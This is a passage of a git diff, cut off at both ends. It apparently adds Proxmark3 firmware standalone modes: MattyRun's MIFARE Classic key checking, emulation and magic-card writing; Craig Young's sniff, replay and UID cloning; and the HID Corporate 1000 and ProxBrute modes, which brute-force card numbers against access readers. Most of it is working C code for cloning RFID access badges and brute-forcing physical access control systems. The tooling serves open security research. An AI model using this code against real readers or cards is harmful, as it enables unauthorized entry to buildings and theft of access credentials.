sector:%3d, block:%3d, key type: %c, key count: %i ", sec, block, type ? 'B':'A', mfKeysCnt); + key = saMifareChkKeys(block, type, true, size, &keyBlock[0], &key64); + if (key == -1) { + LED(LED_RED, 50); //red + Dbprintf("\t✕ Key not found for this sector!"); + allKeysFound = false; + // break; + } else if (key == -2) { + err = 1; // Can't select card. + break; + } else { + num_to_bytes(key64, 6, foundKey[type][sec]); + validKey[type][sec] = true; + keyFound = true; + Dbprintf("\t✓ Found valid key: [%02x%02x%02x%02x%02x%02x]\n", (keyBlock + 6*key)[0],(keyBlock + 6*key)[1], (keyBlock + 6*key)[2],(keyBlock + 6*key)[3], (keyBlock + 6*key)[4], (keyBlock + 6*key)[5], 6); + } + block < 127 ? (block += 4) : (block += 16); + } + } + + + /* + TODO: This. + + If at least one key was found, start a nested attack based on that key, and continue. + */ + if (!allKeysFound && keyFound) { + Dbprintf("\t✕ There's currently no nested attack in MattyRun, sorry!"); + LED_C_ON(); //red + LED_A_ON(); //yellow + // Do nested attack, set allKeysFound = true; + // allKeysFound = true; + } else { + Dbprintf("\t✕ There's nothing I can do without at least a one valid key, sorry!"); + LED_C_ON(); //red + } + + + /* + If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned. + */ + if ((transferToEml) && (allKeysFound)) { + emlClearMem(); + uint8_t mblock[16]; + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + if (validKey[0][sectorNo] || validKey[1][sectorNo]) { + emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); // data, block num, blocks count (max 4) + for (uint16_t t = 0; t < 2; t++) { + if (validKey[t][sectorNo]) { + memcpy(mblock + t*10, foundKey[t][sectorNo], 6); + } + } + emlSetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); + } + } + Dbprintf("\t✓ Found keys have been transferred to the emulator memory."); + if (ecfill) { + Dbprintf("\tFilling in with key A."); + MifareECardLoad(sectorsCnt, 0, 0, &filled); + if (filled != 1) { + Dbprintf("\t✕ Failed filling with A."); + } + Dbprintf("\tFilling in with key B."); + MifareECardLoad(sectorsCnt, 1, 0, &filled); + if (filled != 1) { + Dbprintf("\t✕ Failed filling with B."); + } + if ((filled == 1) && simulation) { + Dbprintf("\t✓ Filled, simulation started."); + // This will tell the fpga to emulate using previous keys and current target tag content. + Dbprintf("\t Press button to abort simulation at anytime."); + LED_B_ON(); //green + Mifare1ksim(0, 0, 0, NULL); + LED_B_OFF(); + + /* + Needs further testing. + */ + if (fillFromEmulator) { + uint8_t retry = 5, cnt; + Dbprintf("\t Trying to dump into blank card."); + int flags = 0; + LED_A_ON(); //yellow + for (int blockNum = 0; blockNum < 16 * 4; blockNum += 1) { + cnt = 0; + emlGetMem(mblock, blockNum, 1); + // switch on field and send magic sequence + if (blockNum == 0) flags = 0x08 + 0x02; + + // just write + if (blockNum == 1) flags = 0; + + // Done. Magic Halt and switch off field. + if (blockNum == 16 * 4 - 1) flags = 0x04 + 0x10; + + while (!saMifareCSetBlock(0, flags & 0xFE, blockNum, mblock) && cnt <= retry) { + cnt++; + Dbprintf("\t! Could not write block. Retrying."); + } + if (cnt == retry) { + Dbprintf("\t✕ Retries failed. Aborting."); + break; + } + } + + if (!err) { + LED_B_ON(); + } else { + LED_C_ON(); + } + + } + } else if (filled != 1) { + Dbprintf("\t✕ Memory could not be filled due to errors."); + LED_C_ON(); + } + } + } +} \ No newline at end of file diff --git a/armsrc/Standalone/hf_mattyrun.h b/armsrc/Standalone/hf_mattyrun.h new file mode 100644 index 000000000..d6e769c86 --- /dev/null +++ b/armsrc/Standalone/hf_mattyrun.h @@ -0,0 +1,22 @@ +//----------------------------------------------------------------------------- +// Matías A. Ré Medina 2016 +// Christian Herrmann, 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// StandAlone Mod +//----------------------------------------------------------------------------- + +#ifndef __HF_MATTYRUN_H +#define __HF_MATTYRUN_H + +//#include // for bool +#include "standalone.h" // standalone definitions +#include "apps.h" // debugstatements, lfops? + + +#define OPTS 2 + +#endif /* __HF_MATTYRUN_H */ \ No newline at end of file diff --git a/armsrc/Standalone/hf_young.c b/armsrc/Standalone/hf_young.c new file mode 100644 index 000000000..ef41bc64d --- /dev/null +++ b/armsrc/Standalone/hf_young.c @@ -0,0 +1,261 @@ +//----------------------------------------------------------------------------- +// Craig Young, 2014 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for HF standalone mode Mifare /sniff/emulation by Craig Young +//----------------------------------------------------------------------------- +#include "hf_young.h" + +typedef struct { + uint8_t uid[10]; + uint8_t uidlen; + uint8_t atqa[2]; + uint8_t sak; +} __attribute__((__packed__)) card_clone_t; + + +void RunMod() { + StandAloneMode(); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + int selected = 0, playing = 0, iGotoRecord = 0, iGotoClone = 0; + int cardRead[OPTS] = {0}; + + card_clone_t uids[OPTS]; + iso14a_card_select_t card[OPTS]; + uint8_t params = (MAGIC_SINGLE | MAGIC_DATAIN); + + LED(selected + 1, 0); + + for (;;) { + WDT_HIT(); + // exit from Standalone Mode, send a usbcommand. + if (usb_poll_validate_length()) return; + + SpinDelay(300); + + if (iGotoRecord == 1 || cardRead[selected] == 0) { + iGotoRecord = 0; + LEDsoff(); + LED(selected + 1, 0); + LED(LED_RED2, 0); + + // record + Dbprintf("Enabling iso14443a reader mode for [Bank: %d]...", selected); + /* need this delay to prevent catching some weird data */ + SpinDelay(500); + iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD); + + for (;;) { + // exit from Standalone Mode, send a usbcommand. + if (usb_poll_validate_length()) return; + + if (BUTTON_PRESS()) { + if (cardRead[selected]) { + Dbprintf("Button press detected -- replaying card in bank[%d]", selected); + break; + } else if (cardRead[(selected+1) % OPTS]) { + Dbprintf("Button press detected but no card in bank[%d] so playing from bank[%d]", selected, (selected+1)%OPTS); + selected = (selected+1) % OPTS; + break; // playing = 1; + } else { + Dbprintf("Button press detected but no stored tag to play. (Ignoring button)"); + SpinDelay(300); + } + } + + if (!iso14443a_select_card(NULL, &card[selected], NULL, true, 0, true)) { + continue; + } else { + Dbprintf("Read UID:"); + Dbhexdump(card[selected].uidlen, card[selected].uid, 0); + + if (memcmp(uids[(selected+1)%OPTS].uid, card[selected].uid, card[selected].uidlen ) == 0 ) { + Dbprintf("Card selected has same UID as what is stored in the other bank. Skipping."); + } else { + uids[selected].sak = card[selected].sak; + uids[selected].uidlen = card[selected].uidlen; + memcpy(uids[selected].uid , card[selected].uid, uids[selected].uidlen); + memcpy(uids[selected].atqa, card[selected].atqa, 2); + + if (uids[selected].uidlen > 4) + Dbprintf("Bank[%d] received a 7-byte UID", selected); + else + Dbprintf("Bank[%d] received a 4-byte UID", selected); + break; + } + } + } + + Dbprintf("ATQA = %02X%02X", uids[selected].atqa[0], uids[selected].atqa[1]); + Dbprintf("SAK = %02X", uids[selected].sak); + LEDsoff(); + LED(LED_GREEN, 200); + LED(LED_ORANGE, 200); + LED(LED_GREEN, 200); + LED(LED_ORANGE, 200); + + LEDsoff(); + LED(selected + 1, 0); + + // Next state is replay: + playing = 1; + + cardRead[selected] = 1; + } + + /* MF Classic UID clone */ + else if (iGotoClone==1) { + iGotoClone=0; + LEDsoff(); + LED(selected + 1, 0); + LED(LED_ORANGE, 250); + + // magiccards holds 4bytes uid. *usually* + uint32_t tmpuid = bytes_to_num(uids[selected].uid, 4); + + // record + Dbprintf("Preparing to Clone card [Bank: %d]; uid: %08x", selected, tmpuid); + + // wait for button to be released + // Delay cloning until card is in place + while (BUTTON_PRESS()) + WDT_HIT(); + + Dbprintf("Starting clone. [Bank: %d]", selected); + // need this delay to prevent catching some weird data + SpinDelay(500); + // Begin clone function here: + /* Example from client/mifarehost.c for commanding a block write for "magic Chinese" cards: + UsbCommand c = {CMD_MIFARE_CSETBLOCK, {params & (0xFE | (uid == NULL ? 0:1)), blockNo, 0}}; + memcpy(c.d.asBytes, data, 16); + SendCommand(&c); + + Block read is similar: + UsbCommand c = {CMD_MIFARE_CGETBLOCK, {params, blockNo, 0}}; + We need to imitate that call with blockNo 0 to set a uid. + + The get and set commands are handled in this file: + // Work with "magic Chinese" card + case CMD_MIFARE_CSETBLOCK: + MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes); + break; + case CMD_MIFARE_CGETBLOCK: + MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes); + break; + + mfCSetUID provides example logic for UID set workflow: + -Read block0 from card in field with MifareCGetBlock() + -Configure new values without replacing reserved bytes + memcpy(block0, uid, 4); // Copy UID bytes from byte array + // Mifare UID BCC + block0[4] = block0[0]^block0[1]^block0[2]^block0[3]; // BCC on byte 5 + Bytes 5-7 are reserved SAK and ATQA for mifare classic + -Use mfCSetBlock(0, block0, oldUID, wantWipe, MAGIC_SINGLE) to write it + */ + uint8_t oldBlock0[16] = {0}, newBlock0[16] = {0}, testBlock0[16] = {0}; + // arg0 = Flags, arg1=blockNo + MifareCGetBlock(params, 0, oldBlock0); + if (oldBlock0[0] == 0 && oldBlock0[0] == oldBlock0[1] && oldBlock0[1] == oldBlock0[2] && oldBlock0[2] == oldBlock0[3]) { + Dbprintf("No changeable tag detected. Returning to replay mode for bank[%d]", selected); + playing = 1; + } else { + Dbprintf("UID from target tag: %02X%02X%02X%02X", oldBlock0[0], oldBlock0[1], oldBlock0[2], oldBlock0[3]); + memcpy(newBlock0, oldBlock0, 16); + + // Copy uid for bank (2nd is for longer UIDs not supported if classic) + memcpy(newBlock0, uids[selected].uid, 4); + newBlock0[4] = newBlock0[0] ^ newBlock0[1] ^ newBlock0[2] ^ newBlock0[3]; + + // arg0 = workFlags, arg1 = blockNo, datain + MifareCSetBlock(params, 0, newBlock0); + MifareCGetBlock(params, 0, testBlock0); + + if (memcmp(testBlock0, newBlock0, 16)==0) { + DbpString("Cloned successfull!"); + cardRead[selected] = 0; // Only if the card was cloned successfully should we clear it + playing = 0; + iGotoRecord = 1; + selected = (selected + 1) % OPTS; + } else { + Dbprintf("Clone failed. Back to replay mode on bank[%d]", selected); + playing = 1; + } + } + LEDsoff(); + LED(selected + 1, 0); + } + + // Change where to record (or begin playing) + // button_pressed == BUTTON_SINGLE_CLICK && cardRead[selected]) + else if (playing==1) { + LEDsoff(); + LED(selected + 1, 0); + + // Begin transmitting + LED(LED_GREEN, 0); + DbpString("Playing"); + for ( ; ; ) { + // exit from Standalone Mode, send a usbcommand. + if (usb_poll_validate_length()) return; + + int button_action = BUTTON_HELD(1000); + if ( button_action == 0) { // No button action, proceed with sim + + uint8_t flags = FLAG_4B_UID_IN_DATA; + uint8_t data[USB_CMD_DATA_SIZE] = {0}; // in case there is a read command received we shouldn't break + + memcpy(data, uids[selected].uid, uids[selected].uidlen); + + uint64_t tmpuid = bytes_to_num(uids[selected].uid, uids[selected].uidlen); + + if ( uids[selected].uidlen == 7 ) { + flags = FLAG_7B_UID_IN_DATA; + Dbprintf("Simulating ISO14443a tag with uid: %014" PRIx64 " [Bank: %d]", tmpuid, selected); + } else { + Dbprintf("Simulating ISO14443a tag with uid: %08" PRIx64 " [Bank: %d]", tmpuid, selected); + } + + if (uids[selected].sak == 0x08 && uids[selected].atqa[0] == 0x04 && uids[selected].atqa[1] == 0) { + DbpString("Mifare Classic 1k"); + SimulateIso14443aTag(1, flags, data); + } else if (uids[selected].sak == 0x18 && uids[selected].atqa[0] == 0x02 && uids[selected].atqa[1] == 0) { + DbpString("Mifare Classic 4k (4b uid)"); + SimulateIso14443aTag(8, flags, data); + } else if (uids[selected].sak == 0x08 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0) { + DbpString("Mifare Classic 4k (7b uid)"); + SimulateIso14443aTag(8, flags, data); + } else if (uids[selected].sak == 0x00 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0) { + DbpString("Mifare Ultralight"); + SimulateIso14443aTag(2, flags, data); + } else if (uids[selected].sak == 0x20 && uids[selected].atqa[0] == 0x04 && uids[selected].atqa[1] == 0x03) { + DbpString("Mifare DESFire"); + SimulateIso14443aTag(3, flags, data); + } else { + Dbprintf("Unrecognized tag type -- defaulting to Mifare Classic emulation"); + SimulateIso14443aTag(1, flags, data); + } + + } else if (button_action == BUTTON_SINGLE_CLICK) { + selected = (selected + 1) % OPTS; + Dbprintf("Done playing. Switching to record mode on bank %d", selected); + iGotoRecord = 1; + break; + } else if (button_action == BUTTON_HOLD) { + Dbprintf("Playtime over. Begin cloning..."); + iGotoClone = 1; + break; + } + } + + /* We pressed a button so ignore it here with a delay */ + SpinDelay(300); + LEDsoff(); + LED(selected + 1, 0); + } + } +} \ No newline at end of file diff --git a/armsrc/Standalone/hf_young.h b/armsrc/Standalone/hf_young.h new file mode 100644 index 000000000..3ccd08b72 --- /dev/null +++ b/armsrc/Standalone/hf_young.h @@ -0,0 +1,22 @@ +//----------------------------------------------------------------------------- +// Craig Young 2014 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// StandAlone Mod +//----------------------------------------------------------------------------- + +#ifndef __HF_YOUNG_H +#define __HF_YOUNG_H + +#include // for bool +#include "standalone.h" // standalone definitions +#include "iso14443a.h" +#include "protocols.h" + +#define OPTS 2 + +#endif /* __HF_YOUNG_H */ \ No newline at end of file diff --git a/armsrc/Standalone/lf_hidbrute.c b/armsrc/Standalone/lf_hidbrute.c new file mode 100644 index 000000000..cca86cf32 --- /dev/null +++ b/armsrc/Standalone/lf_hidbrute.c @@ -0,0 +1,328 @@ +//----------------------------------------------------------------------------- +// Samy Kamkar, 2012 +// Federico Dotta, 2015 +// Maurizio Agazzini, 2015 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +// +// PROXMARK3 - HID CORPORATE 1000 BRUTEFORCER (STAND-ALONE MODE) +// +// This version of Proxmark3 firmware adds one extra stand-alone mode to proxmark3 firmware. +// The new stand-alone mode allows to execute a bruteforce on HID Corporate 1000 readers, by +// reading a specific badge and bruteforcing the Card Number (incrementing and decrementing it), +// mainteining the same Facility Code of the original badge. +// +// Based on an idea of Brad Antoniewicz of McAfee® Foundstone® Professional Services (ProxBrute), +// the stand-alone mode has been rewritten in order to overcome some limitations of ProxBrute firmware, +// that does not consider parity bits. +// +// https://github.com/federicodotta/proxmark3 +// +//----------------------------------------------------------------------------------- +// main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini +//----------------------------------------------------------------------------------- +#include "lf_hidbrute.h" + +// samy's sniff and repeat routine for LF +void RunMod() { + StandAloneMode(); + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + uint32_t high[OPTS], low[OPTS]; + int selected = 0; + int playing = 0; + int cardRead = 0; + + // Turn on selected LED + LED(selected + 1, 0); + + for (;;) { + WDT_HIT(); + + // exit from SamyRun, send a usbcommand. + if (usb_poll_validate_length()) break; + + // Was our button held down or pressed? + int button_pressed = BUTTON_HELD(1000); + //SpinDelay(300); + + // Button was held for a second, begin recording + if (button_pressed > 0 && cardRead == 0) { + LEDsoff(); + LED(selected + 1, 0); + LED(LED_RED2, 0); + + // record + DbpString("[+] starting recording"); + + // wait for button to be released + while(BUTTON_PRESS()) + WDT_HIT(); + + /* need this delay to prevent catching some weird data */ + SpinDelay(500); + + CmdHIDdemodFSK(1, &high[selected], &low[selected], 0); + Dbprintf("[+] recorded %x %x %08x", selected, high[selected], low[selected]); + + LEDsoff(); + LED(selected + 1, 0); + // Finished recording + // If we were previously playing, set playing off + // so next button push begins playing what we recorded + playing = 0; + cardRead = 1; + } + else if (button_pressed > 0 && cardRead == 1) { + LEDsoff(); + LED(selected + 1, 0); + LED(LED_ORANGE, 0); + + // record + Dbprintf("[+] cloning %x %x %08x", selected, high[selected], low[selected]); + + // wait for button to be released + while(BUTTON_PRESS()) + WDT_HIT(); + + /* need this delay to prevent catching some weird data */ + SpinDelay(500); + + CopyHIDtoT55x7(0, high[selected], low[selected], 0); + Dbprintf("[+] cloned %x %x %08x", selected, high[selected], low[selected]); + + LEDsoff(); + LED(selected + 1, 0); + // Finished recording + + // If we were previously playing, set playing off + // so next button push begins playing what we recorded + playing = 0; + cardRead = 0; + } + + // Change where to record (or begin playing) + else if (button_pressed) { + // Next option if we were previously playing + if (playing) + selected = (selected + 1) % OPTS; + playing = !playing; + + LEDsoff(); + LED(selected + 1, 0); + + // Begin transmitting + if (playing && selected != 2) { + + LED(LED_GREEN, 0); + DbpString("[+] playing"); + + // wait for button to be released + while (BUTTON_PRESS()) + WDT_HIT(); + + Dbprintf("[+] %x %x %08x", selected, high[selected], low[selected]); + CmdHIDsimTAG(high[selected], low[selected], 0); + DbpString("[+] done playing"); + + if (BUTTON_HELD(1000) > 0) { + DbpString("[+] exiting"); + LEDsoff(); + return; + } + + /* We pressed a button so ignore it here with a delay */ + SpinDelay(300); + + // when done, we're done playing, move to next option + selected = (selected + 1) % OPTS; + playing = !playing; + LEDsoff(); + LED(selected + 1, 0); + } + else if (playing && selected == 2) + { + // Now it work only with HID Corporate 1000 (35bit), but is easily extensible to others RFID. + // It is necessary only to calculate the correct parity. + + // Brute force code + // Check if the badge is an HID Corporate 1000 + if( (high[selected] & 0xFFFFFFF8) != 0x28 ) { + DbpString("[-] Card is not a HID Corporate 1000. Skipping bruteforce."); + continue; + } + + LED(LED_GREEN, 0); + DbpString("[=] entering bruteforce mode"); + // wait for button to be released + while (BUTTON_PRESS()) + WDT_HIT(); + + // Calculate Facility Code and Card Number from high and low + uint32_t cardnum = (low[selected] >> 1) & 0xFFFFF; + uint32_t fc = ((high[selected] & 1 ) << 11 ) | (low[selected] >> 21); + uint32_t original_cardnum = cardnum; + + Dbprintf("[+] Proxbrute - starting decrementing card number"); + + while (cardnum >= 0) { + + // Needed for exiting from proxbrute when button is pressed + if (BUTTON_PRESS()) { + if (BUTTON_HELD(1000) > 0) { + DbpString("[+] exiting"); + LEDsoff(); + return; + } else { + while (BUTTON_PRESS()) { WDT_HIT(); } + break; + } + } + + // Decrement Card Number + cardnum--; + + // Calculate checksum of HID Corporate 1000 and set card number and facility code in high and low variables + hid_corporate_1000_calculate_checksum_and_set(&high[selected], &low[selected], cardnum, fc); + + // Print actual code to brute + Dbprintf("[+] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum); + + CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000); + } + + cardnum = original_cardnum; + + Dbprintf("[+] Proxbrute - starting incrementing card number"); + + while (cardnum <= 0xFFFFF) { + + // Needed for exiting from proxbrute when button is pressed + if (BUTTON_PRESS()) { + if (BUTTON_HELD(1000) > 0) { + DbpString("[+] exiting"); + LEDsoff(); + return; + } else { + while (BUTTON_PRESS()) { WDT_HIT(); } + break; + } + } + + // Decrement Card Number + cardnum++; + + // Calculate checksum of HID Corporate 1000 and set card number and facility code in high and low variables + hid_corporate_1000_calculate_checksum_and_set(&high[selected], &low[selected], cardnum, fc); + + // Print actual code to brute + Dbprintf("[+] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum); + + CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000); + } + + DbpString("[+] done bruteforcing"); + if (BUTTON_HELD(1000) > 0) { + DbpString("Exiting"); + LEDsoff(); + return; + } + + /* We pressed a button so ignore it here with a delay */ + SpinDelay(300); + + // when done, we're done playing, move to next option + selected = (selected + 1) % OPTS; + playing = !playing; + LEDsoff(); + LED(selected + 1, 0); + + } else { + while(BUTTON_PRESS()) + WDT_HIT(); + } + } + } +} + +// Function that calculate next value for the brutforce of HID corporate 1000 +void hid_corporate_1000_calculate_checksum_and_set( uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) { + + uint32_t new_high = 0; + uint32_t new_low = 0; + + // Calculate new high and low base value from card number and facility code, without parity + new_low = (fc << 21) | (cardnum << 1); + new_high = 0x28 | ((fc >> 11) & 1); // 0x28 is 101000 + + int n_ones; + uint32_t i; + + // Calculating and setting parity bit 34 + // Select only bit used for parity bit 34 in low number (10110110110110110110110110110110) + uint32_t parity_bit_34_low = new_low & 0xB6DB6DB6; + n_ones = 0; + // Calculate number of ones in low number + for ( i = 1; i != 0; i <<= 1) { + if( parity_bit_34_low & i ) + n_ones++; + } + // Calculate number of ones in high number + if (new_high & 1) + n_ones++; + + // Set parity bit (Even parity) + if (n_ones % 2) + new_high = new_high | 0x2; + + // Calculating and setting parity bit 1 + // Select only bit used for parity bit 1 in low number (01101101101101101101101101101100) + uint32_t parity_bit_1_low = new_low & 0x6DB6DB6C; + n_ones = 0; + + // Calculate number of ones in low number + for ( i=1; i != 0; i <<= 1) { + if( parity_bit_1_low & i ) + n_ones++; + } + // Calculate number of ones in high number + if ( new_high & 0x1) + n_ones++; + + if ( new_high & 0x2) + n_ones++; + + // Set parity bit (Odd parity) + if (!(n_ones % 2)) + new_low = new_low | 0x1; + + // Calculating and setting parity bit 35 + n_ones = 0; + // Calculate number of ones in low number (all bit of low, bitmask unnecessary) + for (i = 1; i != 0; i <<= 1) { + if ( new_low & i ) + n_ones++; + } + // Calculate number of ones in high number + if ( new_high & 0x1) + n_ones++; + + if ( new_high & 0x2) + n_ones++; + + // Set parity bit (Odd parity) + if (!(n_ones % 2)) + new_high = new_high | 0x4; + + // Setting new calculated values + *low = new_low; + *high = new_high; +} + +// prepare a waveform pattern in the buffer based on the ID given then +// simulate a HID tag until the button is pressed or after #numcycles cycles +// Used to bruteforce HID in standalone mode. + diff --git a/armsrc/Standalone/lf_hidbrute.h b/armsrc/Standalone/lf_hidbrute.h new file mode 100644 index 000000000..4cd2d5631 --- /dev/null +++ b/armsrc/Standalone/lf_hidbrute.h @@ -0,0 +1,24 @@ +//----------------------------------------------------------------------------- +// Samy Kamkar 2012 +// Federico Dotta, 2015 +// Maurizio Agazzini, 2015 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// StandAlone Mod +//----------------------------------------------------------------------------- + +#ifndef __LF_HIDBRUTE_H +#define __LF_HIDBRUTE_H + +#include "standalone.h" // standalone definitions +#include "apps.h" // debugstatements, lfops? + +#define OPTS 3 + +void hid_corporate_1000_calculate_checksum_and_set( uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc); + +#endif /* __LF_HIDBRUTE_H */ \ No newline at end of file diff --git a/armsrc/Standalone/lf_proxbrute.c b/armsrc/Standalone/lf_proxbrute.c new file mode 100644 index 000000000..77c0d70bd --- /dev/null +++ b/armsrc/Standalone/lf_proxbrute.c @@ -0,0 +1,168 @@ +//----------------------------------------------------------------------------- +// Samy Kamkar, 2011, 2012 +// Brad antoniewicz 2011 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for LF aka Proxbrute by Brad antoniewicz +//----------------------------------------------------------------------------- +#include "lf_proxbrute.h" + +// samy's sniff and repeat routine for LF +void RunMod() { + StandAloneMode(); + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + uint32_t high[OPTS], low[OPTS]; + int selected = 0; + int playing = 0; + int cardRead = 0; + + // Turn on selected LED + LED(selected + 1, 0); + + for (;;) { + WDT_HIT(); + + // exit from SamyRun, send a usbcommand. + if (usb_poll_validate_length()) break; + + // Was our button held down or pressed? + int button_pressed = BUTTON_HELD(1000); + //SpinDelay(300); + + // Button was held for a second, begin recording + if (button_pressed > 0 && cardRead == 0) { + LEDsoff(); + LED(selected + 1, 0); + LED(LED_RED2, 0); + + // record + DbpString("[+] starting recording"); + + // wait for button to be released + while (BUTTON_PRESS()) + WDT_HIT(); + + /* need this delay to prevent catching some weird data */ + SpinDelay(500); + + CmdHIDdemodFSK(1, &high[selected], &low[selected], 0); + Dbprintf("[+] recorded %x %x %08x", selected, high[selected], low[selected]); + + LEDsoff(); + LED(selected + 1, 0); + // Finished recording + // If we were previously playing, set playing off + // so next button push begins playing what we recorded + playing = 0; + cardRead = 1; + } + else if (button_pressed > 0 && cardRead == 1) { + LEDsoff(); + LED(selected + 1, 0); + LED(LED_ORANGE, 0); + + // record + Dbprintf("[+] cloning %x %x %08x", selected, high[selected], low[selected]); + + // wait for button to be released + while (BUTTON_PRESS()) + WDT_HIT(); + + /* need this delay to prevent catching some weird data */ + SpinDelay(500); + + CopyHIDtoT55x7(0, high[selected], low[selected], 0); + Dbprintf("[+] cloned %x %x %08x", selected, high[selected], low[selected]); + + LEDsoff(); + LED(selected + 1, 0); + // Finished recording + + // If we were previously playing, set playing off + // so next button push begins playing what we recorded + playing = 0; + cardRead = 0; + } + + // Change where to record (or begin playing) + else if (button_pressed) { + // Next option if we were previously playing + if (playing) + selected = (selected + 1) % OPTS; + playing = !playing; + + LEDsoff(); + LED(selected + 1, 0); + + // Begin transmitting + if (playing) { + LED(LED_GREEN, 0); + DbpString("[+] playing"); + // wait for button to be released + while (BUTTON_PRESS()) + WDT_HIT(); + + /* START PROXBRUTE */ + + /* + ProxBrute - brad a. - foundstone + + Following code is a trivial brute forcer once you read a valid tag + the idea is you get a valid tag, then just try and brute force to + another priv level. The problem is that it has no idea if the code + worked or not, so its a crap shoot. One option is to time how long + it takes to get a valid ID then start from scratch every time. + */ + if ( selected == 1 ) { + DbpString("[=] entering ProxBrute Mode"); + Dbprintf("[+] current Tag: Selected = %x Facility = %08x ID = %08x", selected, high[selected], low[selected]); + LED(LED_ORANGE, 0); + LED(LED_RED, 0); + for (uint16_t i = low[selected]-1; i > 0; i--) { + if (BUTTON_PRESS()) { + DbpString("[-] told to stop"); + break; + } + + Dbprintf("[=] trying Facility = %08x ID %08x", high[selected], i); + CmdHIDsimTAGEx(high[selected], i, 0, 20000); + SpinDelay(500); + } + + } else { + DbpString("[+] RED is lit, not entering ProxBrute Mode"); + Dbprintf("[+] %x %x %x", selected, high[selected], low[selected]); + CmdHIDsimTAGEx(high[selected], low[selected], 0, 20000); + DbpString("[+] done playing"); + } + + /* END PROXBRUTE */ + + + if (BUTTON_HELD(1000) > 0) { + DbpString("[+] exiting"); + LEDsoff(); + return; + } + + /* We pressed a button so ignore it here with a delay */ + SpinDelay(300); + + // when done, we're done playing, move to next option + selected = (selected + 1) % OPTS; + playing = !playing; + LEDsoff(); + LED(selected + 1, 0); + } + else { + while (BUTTON_PRESS()) + WDT_HIT(); + } + } + } +} \ No newline at end of file diff --git a/armsrc/Standalone/lf_proxbrute.h b/armsrc/Standalone/lf_proxbrute.h new file mode 100644 index 000000000..3911fee35 --- /dev/null +++ b/armsrc/Standalone/lf_proxbrute.h @@ -0,0 +1,21 @@ +//----------------------------------------------------------------------------- +// Samy Kamkar, 2011, 2012 +// Brad antoniewicz 2011 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// StandAlone Mod +//----------------------------------------------------------------------------- + +#ifndef __LF_PROXBRUTE_H +#define __LF_PROXBRUTE_H + +#include "standalone.h" // standalone definitions +#include "apps.h" // debugstatements, lfops? + +#define OPTS 2 + +#endif /* __LF_PROXBRUTE_H */ \ No newline at end of file diff --git a/armsrc/Standalone/lf_samyrun.c b/armsrc/Standalone/lf_samyrun.c new file mode 100644 index 000000000..386ea20f7 --- /dev/null +++ b/armsrc/Standalone/lf_samyrun.c @@ -0,0 +1,134 @@ +//----------------------------------------------------------------------------- +// Samy Kamkar, 2012 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for LF aka SamyRun by Samy Kamkar +//----------------------------------------------------------------------------- +#include "lf_samyrun.h" + +// samy's sniff and repeat routine for LF +void RunMod() { + StandAloneMode(); + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + uint32_t high[OPTS], low[OPTS]; + int selected = 0; + int playing = 0; + int cardRead = 0; + + // Turn on selected LED + LED(selected + 1, 0); + + for (;;) { + WDT_HIT(); + + // exit from SamyRun, send a usbcommand. + if (usb_poll_validate_length()) break; + + // Was our button held down or pressed? + int button_pressed = BUTTON_HELD(1000); + //SpinDelay(300); + + // Button was held for a second, begin recording + if (button_pressed > 0 && cardRead == 0) { + LEDsoff(); + LED(selected + 1, 0); + LED(LED_RED2, 0); + + // record + DbpString("[+] starting recording"); + + // wait for button to be released + while (BUTTON_PRESS()) + WDT_HIT(); + + /* need this delay to prevent catching some weird data */ + SpinDelay(500); + + CmdHIDdemodFSK(1, &high[selected], &low[selected], 0); + Dbprintf("[+] recorded %x %x %08x", selected, high[selected], low[selected]); + + LEDsoff(); + LED(selected + 1, 0); + // Finished recording + // If we were previously playing, set playing off + // so next button push begins playing what we recorded + playing = 0; + cardRead = 1; + } + else if (button_pressed > 0 && cardRead == 1) { + LEDsoff(); + LED(selected + 1, 0); + LED(LED_ORANGE, 0); + + // record + Dbprintf("[+] cloning %x %x %08x", selected, high[selected], low[selected]); + + // wait for button to be released + while 